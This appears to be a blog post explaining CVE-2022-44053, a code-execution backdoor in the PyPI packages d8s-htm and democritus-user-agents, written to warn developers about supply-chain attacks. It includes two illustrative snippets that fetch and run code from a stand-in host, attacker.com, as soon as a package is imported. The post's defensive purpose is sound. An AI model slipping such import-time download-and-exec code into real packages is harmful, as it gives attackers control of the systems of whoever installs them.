Python’s package repository, PyPI, has become a trusted source of libraries for millions of developers. But every once in a while, something sneaky makes its way in. CVE-2022-44053 shines a light on the dangers of supply chain attacks through popular (or seemingly obscure) packages. In this post, we dive into the d8s-htm, d8s-networking, and democritus-user-agents packages, explaining how a backdoor almost went unnoticed—and how you can spot and avoid similar traps.

What Is CVE-2022-44053?

CVE-2022-44053 is assigned to a critical security weakness found in the Python package d8s-htm version .1.. This vulnerability was introduced by a code-execution backdoor, which could allow an attacker to remotely control or damage any system running the package.

This particular backdoor is linked to the “democritus-user-agents” package, maliciously injected by a third party into the supply chain—possibly as a dependency or through a hijacked update.

democritus-user-agents: The actual package containing the code execution backdoor.

If your project depends on any of these, especially via PyPI, you could be exposed.

The Mechanism

The attack used a malicious dependency. By injecting “democritus-user-agents” into the dependency tree, attackers could execute arbitrary code on your system—often as soon as you installed or imported the package in your Python script.

The infected package could, for example, run shell commands, download further payloads, or exfiltrate sensitive data.

Here’s how a typical Python backdoor in a malicious package might look

# Malicious code stealthily hidden in __init__.py
import os

def run_backdoor():
    # The attacker's command or script, often obfuscated or fetched remotely
    os.system("curl http://attacker.com/malware.py | python3")

run_backdoor()  # This executes as soon as the package is imported!

Or, it might reach out for instructions like this

import requests, base64

def execute_remote():
    cmd = requests.get("http://attacker.com/cmd.txt";).text
    exec(base64.b64decode(cmd))

execute_remote()

If you run a simple import d8s_htm or import democritus_user_agents, the code above could trigger instantly, giving an attacker control on your machine.

Immediate Risk: Installing the package, or even just importing it, can compromise your system.

- Stealth: The attacker’s code runs silently, often going unnoticed unless you carefully inspect the package code.
- Wide Blast Radius: Any virtual environment, CI pipeline, or server with these packages becomes a potential victim.

How Was It Discovered?

Security researchers and automated tools that scan PyPI for malicious uploads caught the presence of suspicious code patterns in these packages.

For example, through

- PyPI’s Malware Reports (Sonatype blog),
- GitHub security advisories,
- CVE Database Entry.

References and Original Reports

- CVE Entry for CVE-2022-44053
- GHSA-q9c7-j3p7-rakx: Advisory for democritus-user-agents
- Sonatype PyPI security blog
- PyPI Security Best Practices

Conclusion

CVE-2022-44053 is a stark reminder that even trusted developer tools can be compromised. The Python ecosystem is powerful—but with great power comes the responsibility to always check the safety of your dependencies. Stay vigilant, review your dependencies, and protect your supply chain!

Timeline

Published on: 11/07/2022 15:15:00 UTC
Last modified on: 11/08/2022 16:24:00 UTC